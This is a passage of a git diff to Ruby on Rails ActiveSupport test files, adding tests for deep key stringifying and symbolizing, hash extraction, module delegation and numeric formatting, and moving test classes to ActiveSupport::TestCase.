+  def test_stringify_keys_not_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.stringify_keys
+    assert_equal @mixed, transformed_hash
+  end
+
+  def test_deep_stringify_keys
+    assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
+    assert_equal @nested_strings, @nested_strings.deep_stringify_keys
+    assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
+  end
+
+  def test_deep_stringify_keys_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_stringify_keys
+    assert_equal @nested_mixed, transformed_hash
+  end
+
   def test_stringify_keys!
     assert_equal @strings, @symbols.dup.stringify_keys!
     assert_equal @strings, @strings.dup.stringify_keys!
     assert_equal @strings, @mixed.dup.stringify_keys!
   end
 
+  def test_stringify_keys_with_bang_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.stringify_keys!
+    assert_equal @strings, transformed_hash
+    assert_equal @mixed, { :a => 1, "b" => 2 }
+  end
+
+  def test_deep_stringify_keys!
+    assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
+  end
+
+  def test_deep_stringify_keys_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_stringify_keys!
+    assert_equal @nested_strings, transformed_hash
+    assert_equal @nested_mixed, { 'a' => { :b => { 'c' => 3 } } }
+  end
+
   def test_symbolize_keys_for_hash_with_indifferent_access
     assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
     assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
@@ -85,22 +233,46 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
   end
 
+  def test_deep_symbolize_keys_for_hash_with_indifferent_access
+    assert_instance_of Hash, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_strings.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_mixed.with_indifferent_access.deep_symbolize_keys
+  end
+
+
   def test_symbolize_keys_bang_for_hash_with_indifferent_access
     assert_raise(NoMethodError) { @symbols.with_indifferent_access.dup.symbolize_keys! }
     assert_raise(NoMethodError) { @strings.with_indifferent_access.dup.symbolize_keys! }
     assert_raise(NoMethodError) { @mixed.with_indifferent_access.dup.symbolize_keys! }
   end
 
+  def test_deep_symbolize_keys_bang_for_hash_with_indifferent_access
+    assert_raise(NoMethodError) { @nested_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+    assert_raise(NoMethodError) { @nested_strings.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+    assert_raise(NoMethodError) { @nested_mixed.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
   def test_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
     assert_equal @illegal_symbols, @illegal_symbols.with_indifferent_access.symbolize_keys
     assert_raise(NoMethodError) { @illegal_symbols.with_indifferent_access.dup.symbolize_keys! }
   end
 
+  def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_raise(NoMethodError) { @nested_illegal_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
   def test_symbolize_keys_preserves_fixnum_keys_for_hash_with_indifferent_access
     assert_equal @fixnums, @fixnums.with_indifferent_access.symbolize_keys
     assert_raise(NoMethodError) { @fixnums.with_indifferent_access.dup.symbolize_keys! }
   end
 
+  def test_deep_symbolize_keys_preserves_fixnum_keys_for_hash_with_indifferent_access
+    assert_equal @nested_fixnums, @nested_fixnums.with_indifferent_access.deep_symbolize_keys
+    assert_raise(NoMethodError) { @nested_fixnums.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
   def test_stringify_keys_for_hash_with_indifferent_access
     assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.stringify_keys
     assert_equal @strings, @symbols.with_indifferent_access.stringify_keys
@@ -108,6 +280,13 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal @strings, @mixed.with_indifferent_access.stringify_keys
   end
 
+  def test_deep_stringify_keys_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_stringify_keys
+  end
+
   def test_stringify_keys_bang_for_hash_with_indifferent_access
     assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!
     assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!
@@ -115,12 +294,22 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!
   end
 
+  def test_deep_stringify_keys_bang_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_dup.deep_stringify_keys!
+  end
+
   def test_nested_under_indifferent_access
     foo = { "foo" => SubclassingHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
     assert_kind_of ActiveSupport::HashWithIndifferentAccess, foo["foo"]
 
     foo = { "foo" => NonIndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
     assert_kind_of NonIndifferentHash, foo["foo"]
+
+    foo = { "foo" => IndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of IndifferentHash, foo["foo"]
   end
 
   def test_indifferent_assorted
@@ -268,6 +457,13 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal '1234', roundtrip.default
   end
 
+  def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
+    hash = HashWithIndifferentAccess.new {|h, k| h[k] = []}
+    hash[:a] << 1
+
+    assert_equal [1], hash[:a]
+  end
+
   def test_indifferent_hash_with_array_of_hashes
     hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
     assert_equal "1", hash[:urls][:url].first[:address]
@@ -298,6 +494,17 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal 1, h[:first]
   end
 
+  def test_deep_stringify_and_deep_symbolize_keys_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h[:first] = 1
+    h = h.deep_stringify_keys
+    assert_equal 1, h['first']
+    h = HashWithIndifferentAccess.new
+    h['first'] = 1
+    h = h.deep_symbolize_keys
+    assert_equal 1, h[:first]
+  end
+
   def test_to_options_on_indifferent_preserves_hash
     h = HashWithIndifferentAccess.new
     h['first'] = 1
@@ -364,21 +571,6 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal expected, hash_1
   end
 
-  def test_deep_dup
-    hash = { :a => { :b => 'b' } }
-    dup = hash.deep_dup
-    dup[:a][:c] = 'c'
-    assert_equal nil, hash[:a][:c]
-    assert_equal 'c', dup[:a][:c]
-  end
-
-  def test_deep_dup_initialize
-    zero_hash = Hash.new 0
-    hash = { :a => zero_hash }
-    dup = hash.deep_dup
-    assert_equal 0, dup[:a][44]
-  end
-
   def test_store_on_indifferent_access
     hash = HashWithIndifferentAccess.new
     hash.store(:test1, 1)
@@ -389,6 +581,15 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal expected, hash
   end
 
+  def test_constructor_on_indifferent_access
+    hash = HashWithIndifferentAccess[:foo, 1]
+    assert_equal 1, hash[:foo]
+    assert_equal 1, hash['foo']
+    hash[:foo] = 3
+    assert_equal 3, hash[:foo]
+    assert_equal 3, hash['foo']
+  end
+
   def test_reverse_merge
     defaults = { :a => "x", :b => "y", :c => 10 }.freeze
     options  = { :a => 1, :b => 2 }
@@ -487,19 +688,32 @@ class HashExtTest < Test::Unit::TestCase
     assert_equal 'bender', slice['login']
   end
 
+  def test_extract
+    original = {:a => 1, :b => 2, :c => 3, :d => 4}
+    expected = {:a => 1, :b => 2}
+
+    assert_equal expected, original.extract!(:a, :b)
+  end
+
   def test_except
     original = { :a => 'x', :b => 'y', :c => 10 }
     expected = { :a => 'x', :b => 'y' }
 
-    # Should return a new hash with only the given keys.
+    # Should return a new hash without the given keys.
     assert_equal expected, original.except(:c)
     assert_not_equal expected, original
 
-    # Should replace the hash with only the given keys.
+    # Should replace the hash without the given keys.
     assert_equal expected, original.except!(:c)
     assert_equal expected, original
   end
 
+  def test_except_with_more_than_one_argument
+    original = { :a => 'x', :b => 'y', :c => 10 }
+    expected = { :a => 'x' }
+    assert_equal expected, original.except(:b, :c)
+  end
+
   def test_except_with_original_frozen
     original = { :a => 'x', :b => 'y' }
     original.freeze
@@ -524,7 +738,7 @@ class IWriteMyOwnXML
   end
 end
 
-class HashExtToParamTests < Test::Unit::TestCase
+class HashExtToParamTests < ActiveSupport::TestCase
   class ToParam < String
     def to_param
       "#{self}-1"
@@ -551,11 +765,11 @@ class HashExtToParamTests < Test::Unit::TestCase
   end
 
   def test_to_param_orders_by_key_in_ascending_order
-    assert_equal 'a=2&b=1&c=0', ActiveSupport::OrderedHash[*%w(b 1 c 0 a 2)].to_param
+    assert_equal 'a=2&b=1&c=0', Hash[*%w(b 1 c 0 a 2)].to_param
   end
 end
 
-class HashToXmlTest < Test::Unit::TestCase
+class HashToXmlTest < ActiveSupport::TestCase
   def setup
     @xml_options = { :root => :person, :skip_instruct => true, :indent => 0 }
   end
@@ -666,8 +880,8 @@ class HashToXmlTest < Test::Unit::TestCase
       :created_at => Time.utc(1999,2,2),
       :local_created_at => Time.utc(1999,2,2).in_time_zone('Eastern Time (US & Canada)')
     }.to_xml(@xml_options)
-    assert_match %r{<created-at type=\"datetime\">1999-02-02T00:00:00Z</created-at>}, xml
-    assert_match %r{<local-created-at type=\"datetime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
+    assert_match %r{<created-at type=\"dateTime\">1999-02-02T00:00:00Z</created-at>}, xml
+    assert_match %r{<local-created-at type=\"dateTime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
   end
 
   def test_multiple_records_from_xml_with_attributes_other_than_type_ignores_them_without_exploding
diff --git a/activesupport/test/core_ext/integer_ext_test.rb b/activesupport/test/core_ext/integer_ext_test.rb
index fe8c7eb224..41736fb672 100644
--- a/activesupport/test/core_ext/integer_ext_test.rb
+++ b/activesupport/test/core_ext/integer_ext_test.rb
@@ -1,7 +1,9 @@
 require 'abstract_unit'
 require 'active_support/core_ext/integer'
 
-class IntegerExtTest < Test::Unit::TestCase
+class IntegerExtTest < ActiveSupport::TestCase
+  PRIME = 22953686867719691230002707821868552601124472329079
+
   def test_multiple_of
     [ -7, 0, 7, 14 ].each { |i| assert i.multiple_of?(7) }
     [ -7, 7, 14 ].each { |i| assert ! i.multiple_of?(6) }
@@ -11,10 +13,7 @@ class IntegerExtTest < Test::Unit::TestCase
     assert !5.multiple_of?(0)
 
     # test with a prime
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(2)
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(3)
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(5)
-    assert !22953686867719691230002707821868552601124472329079.multiple_of?(7)
+    [2, 3, 5, 7].each { |i| assert !PRIME.multiple_of?(i) }
   end
 
   def test_ordinalize
@@ -22,6 +21,10 @@ class IntegerExtTest < Test::Unit::TestCase
     # Its results are tested comprehensively in the inflector test cases.
     assert_equal '1st', 1.ordinalize
     assert_equal '8th', 8.ordinalize
-    1000000000000000000000000000000000000000000000000000000000000000000000.ordinalize
+  end
+
+  def test_ordinal
+    assert_equal 'st', 1.ordinal
+    assert_equal 'th', 8.ordinal
   end
 end
diff --git a/activesupport/test/core_ext/io_test.rb b/activesupport/test/core_ext/io_test.rb
deleted file mode 100644
index b9abf685da..0000000000
--- a/activesupport/test/core_ext/io_test.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'abstract_unit'
-
-require 'active_support/core_ext/io'
-
-class IOTest < Test::Unit::TestCase
-  def test_binread_one_arg
-    assert_equal File.read(__FILE__), IO.binread(__FILE__)
-  end
-
-  def test_binread_two_args
-    assert_equal File.read(__FILE__).bytes.first(10).pack('C*'),
-      IO.binread(__FILE__, 10)
-  end
-
-  def test_binread_three_args
-    actual = IO.binread(__FILE__, 5, 10)
-    expected = File.open(__FILE__, 'rb') { |f|
-      f.seek 10
-      f.read 5
-    }
-    assert_equal expected, actual
-  end
-end
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index 995bc0751a..439bc87323 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/kernel'
 
-class KernelTest < Test::Unit::TestCase
+class KernelTest < ActiveSupport::TestCase
   def test_silence_warnings
     silence_warnings { assert_nil $VERBOSE }
     assert_equal 1234, silence_warnings { 1234 }
@@ -42,11 +42,6 @@ class KernelTest < Test::Unit::TestCase
     assert_equal 1, silence_stderr { 1 }
   end
 
-  def test_singleton_class
-    o = Object.new
-    assert_equal class << o; self end, o.singleton_class
-  end
-
   def test_class_eval
     o = Object.new
     class << o; @x = 1; end
@@ -59,7 +54,7 @@ class KernelTest < Test::Unit::TestCase
   end
 end
 
-class KernelSuppressTest < Test::Unit::TestCase
+class KernelSuppressTest < ActiveSupport::TestCase
   def test_reraise
     assert_raise(LoadError) do
       suppress(ArgumentError) { raise LoadError }
@@ -90,7 +85,7 @@ class MockStdErr
   end
 end
 
-class KernelDebuggerTest < Test::Unit::TestCase
+class KernelDebuggerTest < ActiveSupport::TestCase
   def test_debugger_not_available_message_to_stderr
     old_stderr = $stderr
     $stderr = MockStdErr.new
@@ -106,10 +101,10 @@ class KernelDebuggerTest < Test::Unit::TestCase
         @logger ||= MockStdErr.new
       end
     end
-    Object.const_set("Rails", rails)
+    Object.const_set(:Rails, rails)
     debugger
     assert_match(/Debugger requested/, rails.logger.output.first)
   ensure
-    Object.send(:remove_const, "Rails")
+    Object.send(:remove_const, :Rails)
   end
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
index d7b8f602ca..31863d0aca 100644
--- a/activesupport/test/core_ext/load_error_test.rb
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/load_error'
 
-class TestMissingSourceFile < Test::Unit::TestCase
+class TestMissingSourceFile < ActiveSupport::TestCase
   def test_with_require
     assert_raise(MissingSourceFile) { require 'no_this_file_don\'t_exist' }
   end
@@ -16,7 +16,7 @@ class TestMissingSourceFile < Test::Unit::TestCase
   end
 end
 
-class TestLoadError < Test::Unit::TestCase
+class TestLoadError < ActiveSupport::TestCase
   def test_with_require
     assert_raise(LoadError) { require 'no_this_file_don\'t_exist' }
   end
diff --git a/activesupport/test/core_ext/module/attr_internal_test.rb b/activesupport/test/core_ext/module/attr_internal_test.rb
index 93578c9610..2aea14cf2b 100644
--- a/activesupport/test/core_ext/module/attr_internal_test.rb
+++ b/activesupport/test/core_ext/module/attr_internal_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/module/attr_internal'
 
-class AttrInternalTest < Test::Unit::TestCase
+class AttrInternalTest < ActiveSupport::TestCase
   def setup
     @target = Class.new
     @instance = @target.new
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index 29889b51e0..a577f90bdd 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/module/attribute_accessors'
 
-class ModuleAttributeAccessorTest < Test::Unit::TestCase
+class ModuleAttributeAccessorTest < ActiveSupport::TestCase
   def setup
     m = @module = Module.new do
       mattr_accessor :foo
@@ -44,4 +44,18 @@ class ModuleAttributeAccessorTest < Test::Unit::TestCase
     assert !@object.respond_to?(:camp)
     assert !@object.respond_to?(:camp=)
   end
+
+  def test_should_raise_name_error_if_attribute_name_is_invalid
+    assert_raises NameError do
+      Class.new do
+        mattr_reader "invalid attribute name"
+      end
+    end
+
+    assert_raises NameError do
+      Class.new do
+        mattr_writer "invalid attribute name"
+      end
+    end
+  end
 end
diff --git a/activesupport/test/core_ext/module/attribute_aliasing_test.rb b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
index 065c3531e0..29c3053b47 100644
--- a/activesupport/test/core_ext/module/attribute_aliasing_test.rb
+++ b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
@@ -24,7 +24,7 @@ module AttributeAliasing
   end
 end
 
-class AttributeAliasingTest < Test::Unit::TestCase
+class AttributeAliasingTest < ActiveSupport::TestCase
   def test_attribute_alias
     e = AttributeAliasing::Email.new
 
diff --git a/activesupport/test/core_ext/module/synchronization_test.rb b/activesupport/test/core_ext/module/synchronization_test.rb
deleted file mode 100644
index 6c407e2260..0000000000
--- a/activesupport/test/core_ext/module/synchronization_test.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require 'thread'
-require 'abstract_unit'
-
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/module/synchronization'
-
-class SynchronizationTest < Test::Unit::TestCase
-  def setup
-    @target = Class.new
-    @target.cattr_accessor :mutex, :instance_writer => false
-    @target.mutex = Mutex.new
-    @instance = @target.new
-  end
-
-  def test_synchronize_aliases_method_chain_with_synchronize
-    @target.module_eval do
-      attr_accessor :value
-      synchronize :value, :with => :mutex
-    end
-    assert_respond_to @instance, :value_with_synchronization
-    assert_respond_to @instance, :value_without_synchronization
-  end
-
-  def test_synchronize_does_not_change_behavior
-    @target.module_eval do
-      attr_accessor :value
-      synchronize :value, :with => :mutex
-    end
-    expected = "some state"
-    @instance.value = expected
-    assert_equal expected, @instance.value
-  end
-
-  def test_synchronize_with_no_mutex_raises_an_argument_error
-    assert_raise(ArgumentError) do
-      @target.synchronize :to_s
-    end
-  end
-
-  def test_double_synchronize_raises_an_argument_error
-    @target.synchronize :to_s, :with => :mutex
-    assert_raise(ArgumentError) do
-      @target.synchronize :to_s, :with => :mutex
-    end
-  end
-
-  def dummy_sync
-    dummy = Object.new
-    def dummy.synchronize
-      @sync_count ||= 0
-      @sync_count += 1
-      yield
-    end
-    def dummy.sync_count; @sync_count; end
-    dummy
-  end
-
-  def test_mutex_is_entered_during_method_call
-    @target.mutex = dummy_sync
-    @target.synchronize :to_s, :with => :mutex
-    @instance.to_s
-    @instance.to_s
-    assert_equal 2, @target.mutex.sync_count
-  end
-
-  def test_can_synchronize_method_with_punctuation
-    @target.module_eval do
-      def dangerous?
-        @dangerous
-      end
-      def dangerous!
-        @dangerous = true
-      end
-    end
-    @target.synchronize :dangerous?, :dangerous!, :with => :mutex
-    @instance.dangerous!
-    assert @instance.dangerous?
-  end
-
-  def test_can_synchronize_singleton_methods
-    @target.mutex = dummy_sync
-    class << @target
-      synchronize :to_s, :with => :mutex
-    end
-    assert_respond_to @target, :to_s_without_synchronization
-    assert_nothing_raised { @target.to_s; @target.to_s }
-    assert_equal 2, @target.mutex.sync_count
-  end
-end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index f11bf3dc69..bd41311739 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -60,6 +60,14 @@ Tester = Struct.new(:client) do
   delegate :name, :to => :client, :prefix => false
 end
 
+class ParameterSet
+  delegate :[], :[]=, :to => :@params
+
+  def initialize
+    @params = {:foo => "bar"}
+  end
+end
+
 class Name
   delegate :upcase, :to => :@full_name
 
@@ -68,7 +76,7 @@ class Name
   end
 end
 
-class ModuleTest < Test::Unit::TestCase
+class ModuleTest < ActiveSupport::TestCase
   def setup
     @david = Someone.new("David", Somewhere.new("Paulina", "Chicago"))
   end
@@ -83,6 +91,17 @@ class ModuleTest < Test::Unit::TestCase
     assert_equal "Fred", @david.place.name
   end
 
+  def test_delegation_to_index_get_method
+    @params = ParameterSet.new
+    assert_equal "bar", @params[:foo]
+  end
+
+  def test_delegation_to_index_set_method
+    @params = ParameterSet.new
+    @params[:foo] = "baz"
+    assert_equal "baz", @params[:foo]
+  end
+
   def test_delegation_down_hierarchy
     assert_equal "CHICAGO", @david.upcase
   end
@@ -212,6 +231,12 @@ class ModuleTest < Test::Unit::TestCase
   def test_local_constants
     assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s)
   end
+
+  def test_local_constant_names
+    ActiveSupport::Deprecation.silence do
+      assert_equal %w(Constant1 Constant3), Ab.local_constant_names.sort.map(&:to_s)
+    end
+  end
 end
 
 module BarMethodAliaser
@@ -245,7 +270,7 @@ module BarMethods
   end
 end
 
-class MethodAliasingTest < Test::Unit::TestCase
+class MethodAliasingTest < ActiveSupport::TestCase
   def setup
     Object.const_set :FooClassWithBarMethod, Class.new { def bar() 'bar' end }
     @instance = FooClassWithBarMethod.new
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index 6352484d04..03ce09f22a 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/name_error'
 
-class NameErrorTest < Test::Unit::TestCase
+class NameErrorTest < ActiveSupport::TestCase
   def test_name_error_should_set_missing_name
     SomeNameThatNobodyWillUse____Really ? 1 : 0
     flunk "?!?!"
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 3a2452b4b0..435f4aa5a1 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -3,7 +3,7 @@ require 'active_support/time'
 require 'active_support/core_ext/numeric'
 require 'active_support/core_ext/integer'
 
-class NumericExtTimeAndDateTimeTest < Test::Unit::TestCase
+class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
   def setup
     @now = Time.local(2005,2,10,15,30,45)
     @dtnow = DateTime.civil(2005,2,10,15,30,45)
@@ -128,7 +128,7 @@ class NumericExtTimeAndDateTimeTest < Test::Unit::TestCase
     end
 end
 
-class NumericExtDateTest < Test::Unit::TestCase
+class NumericExtDateTest < ActiveSupport::TestCase
   def setup
     @today = Date.today
   end
@@ -151,7 +151,7 @@ class NumericExtDateTest < Test::Unit::TestCase
   end
 end
 
-class NumericExtSizeTest < Test::Unit::TestCase
+class NumericExtSizeTest < ActiveSupport::TestCase
   def test_unit_in_terms_of_another
     relationships = {
         1024.bytes     =>   1.kilobyte,
@@ -186,3 +186,264 @@ class NumericExtSizeTest < Test::Unit::TestCase
     assert_equal 3458764513820540928, 3.exabyte
   end
 end
+
+class NumericExtFormattingTest < ActiveSupport::TestCase
+  def kilobytes(number)
+    number * 1024
+  end
+
+  def megabytes(number)
+    kilobytes(number) * 1024
+  end
+
+  def gigabytes(number)
+    megabytes(number) * 1024
+  end
+
+  def terabytes(number)
+    gigabytes(number) * 1024
+  end
+  
+  def test_to_s__phone
+    assert_equal("555-1234", 5551234.to_s(:phone))
+    assert_equal("800-555-1212", 8005551212.to_s(:phone))
+    assert_equal("(800) 555-1212", 8005551212.to_s(:phone, :area_code => true))
+    assert_equal("800 555 1212", 8005551212.to_s(:phone, :delimiter => " "))
+    assert_equal("(800) 555-1212 x 123", 8005551212.to_s(:phone, :area_code => true, :extension => 123))
+    assert_equal("800-555-1212", 8005551212.to_s(:phone, :extension => "  "))
+    assert_equal("555.1212", 5551212.to_s(:phone, :delimiter => '.'))
+    assert_equal("+1-800-555-1212", 8005551212.to_s(:phone, :country_code => 1))
+    assert_equal("+18005551212", 8005551212.to_s(:phone, :country_code => 1, :delimiter => ''))
+    assert_equal("22-555-1212", 225551212.to_s(:phone))
+    assert_equal("+45-22-555-1212", 225551212.to_s(:phone, :country_code => 45))
+  end
+  
+  def test_to_s__currency
+    assert_equal("$1,234,567,890.50", 1234567890.50.to_s(:currency))
+    assert_equal("$1,234,567,890.51", 1234567890.506.to_s(:currency))
+    assert_equal("-$1,234,567,890.50", -1234567890.50.to_s(:currency))
+    assert_equal("-$ 1,234,567,890.50", -1234567890.50.to_s(:currency, :format => "%u %n"))
+    assert_equal("($1,234,567,890.50)", -1234567890.50.to_s(:currency, :negative_format => "(%u%n)"))
+    assert_equal("$1,234,567,892", 1234567891.50.to_s(:currency, :precision => 0))
+    assert_equal("$1,234,567,890.5", 1234567890.50.to_s(:currency, :precision => 1))
+    assert_equal("&pound;1234567890,50", 1234567890.50.to_s(:currency, :unit => "&pound;", :separator => ",", :delimiter => ""))
+  end
+  
+  
+  def test_to_s__rounded
+    assert_equal("-111.235", -111.2346.to_s(:rounded))
+    assert_equal("111.235", 111.2346.to_s(:rounded))
+    assert_equal("31.83", 31.825.to_s(:rounded, :precision => 2))
+    assert_equal("111.23", 111.2346.to_s(:rounded, :precision => 2))
+    assert_equal("111.00", 111.to_s(:rounded, :precision => 2))
+    assert_equal("3268", (32.6751 * 100.00).to_s(:rounded, :precision => 0))
+    assert_equal("112", 111.50.to_s(:rounded, :precision => 0))
+    assert_equal("1234567892", 1234567891.50.to_s(:rounded, :precision => 0))
+    assert_equal("0", 0.to_s(:rounded, :precision => 0))
+    assert_equal("0.00100", 0.001.to_s(:rounded, :precision => 5))
+    assert_equal("0.001", 0.00111.to_s(:rounded, :precision => 3))
+    assert_equal("10.00", 9.995.to_s(:rounded, :precision => 2))
+    assert_equal("11.00", 10.995.to_s(:rounded, :precision => 2))
+    assert_equal("0.00", -0.001.to_s(:rounded, :precision => 2))
+  end
+  
+  def test_to_s__percentage
+    assert_equal("100.000%", 100.to_s(:percentage))
+    assert_equal("100%", 100.to_s(:percentage, :precision => 0))
+    assert_equal("302.06%", 302.0574.to_s(:percentage, :precision => 2))
+    assert_equal("123.4%", 123.400.to_s(:percentage, :precision => 3, :strip_insignificant_zeros => true))
+    assert_equal("1.000,000%", 1000.to_s(:percentage, :delimiter => '.', :separator => ','))
+    assert_equal("1000.000  %", 1000.to_s(:percentage, :format => "%n  %"))
+  end
+
+  def test_to_s__delimited
+    assert_equal("12,345,678", 12345678.to_s(:delimited))
+    assert_equal("0", 0.to_s(:delimited))
+    assert_equal("123", 123.to_s(:delimited))
+    assert_equal("123,456", 123456.to_s(:delimited))
+    assert_equal("123,456.78", 123456.78.to_s(:delimited))
+    assert_equal("123,456.789", 123456.789.to_s(:delimited))
+    assert_equal("123,456.78901", 123456.78901.to_s(:delimited))
+    assert_equal("123,456,789.78901", 123456789.78901.to_s(:delimited))
+    assert_equal("0.78901", 0.78901.to_s(:delimited))
+  end
+
+  def test_to_s__delimited__with_options_hash
+    assert_equal '12 345 678', 12345678.to_s(:delimited, :delimiter => ' ')
+    assert_equal '12,345,678-05', 12345678.05.to_s(:delimited, :separator => '-')
+    assert_equal '12.345.678,05', 12345678.05.to_s(:delimited, :separator => ',', :delimiter => '.')
+    assert_equal '12.345.678,05', 12345678.05.to_s(:delimited, :delimiter => '.', :separator => ',')
+  end
+  
+
+  def test_to_s__rounded_with_custom_delimiter_and_separator
+    assert_equal '31,83',       31.825.to_s(:rounded, :precision => 2, :separator => ',')
+    assert_equal '1.231,83',    1231.825.to_s(:rounded, :precision => 2, :separator => ',', :delimiter => '.')
+  end
+
+  def test_to_s__rounded__with_significant_digits
+    assert_equal "124000", 123987.to_s(:rounded, :precision => 3, :significant => true)
+    assert_equal "120000000", 123987876.to_s(:rounded, :precision => 2, :significant => true )
+    assert_equal "9775", 9775.to_s(:rounded, :precision => 4, :significant => true )
+    assert_equal "5.4", 5.3923.to_s(:rounded, :precision => 2, :significant => true )
+    assert_equal "5", 5.3923.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "1", 1.232.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "7", 7.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "1", 1.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "53", 52.7923.to_s(:rounded, :precision => 2, :significant => true )
+    assert_equal "9775.00", 9775.to_s(:rounded, :precision => 6, :significant => true )
+    assert_equal "5.392900", 5.3929.to_s(:rounded, :precision => 7, :significant => true )
+    assert_equal "0.0", 0.to_s(:rounded, :precision => 2, :significant => true )
+    assert_equal "0", 0.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "0.0001", 0.0001.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "0.000100", 0.0001.to_s(:rounded, :precision => 3, :significant => true )
+    assert_equal "0.0001", 0.0001111.to_s(:rounded, :precision => 1, :significant => true )
+    assert_equal "10.0", 9.995.to_s(:rounded, :precision => 3, :significant => true)
+    assert_equal "9.99", 9.994.to_s(:rounded, :precision => 3, :significant => true)
+    assert_equal "11.0", 10.995.to_s(:rounded, :precision => 3, :significant => true)
+  end
+
